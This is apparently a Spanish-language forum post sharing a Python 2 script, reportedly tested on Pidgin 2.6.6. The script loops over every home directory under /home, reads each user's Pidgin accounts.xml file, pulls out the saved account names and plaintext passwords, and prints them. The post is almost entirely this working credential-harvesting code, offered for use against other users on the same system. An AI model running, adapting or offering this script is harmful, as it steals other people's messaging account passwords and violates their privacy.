probado en la version "Pidgin 2.6.6 (libpurple 2.6.6)"
Código
############################################## ## Obtiene las ccuentas guardadas de pidgin ## ## Mail: angelofthedark@live.com.ar ## ############################################## import os #funcion que obtiene las cuentas desde el archivo accounts.xml def obtenerCuentas( ruta ): try: h = open(usu+cuentasXML) src = h.read() tmp1 = src.split("<name>") tmp2 = src.split("<password>") for s in tmp1: if "</name>" in s: cuentas[0].append(s.split("</name>")[0]) for t in tmp2: if "</password>" in t: cuentas[1].append(t.split("</password")[0]) except: print "Error, nose puede continuar !!" exit(0) home = "/home" cuentasXML = ".purple/accounts.xml" archivos = os.listdir(home) usuarios = [] cuentas = [[],[]] #cuentas[0][0] => mail ; cuentas[0][1] => password for ar in archivos: if os.path.isdir(home+"/"+ar): usuarios.append(home+"/"+ar+"/") for usu in usuarios: obtenerCuentas( usu+cuentasXML ) #imprime por pantalla el mail y el password. cont = 0 for cnt in cuentas[0]: print "+++++++++++++++("+str(cont)+")+++++++++++++++" print "mail ==> " + cnt print "password ==> " + cuentas[1][cont] cont+=1 print "+++++++++++++++(-.FIN.-)+++++++++++++++"
saludos.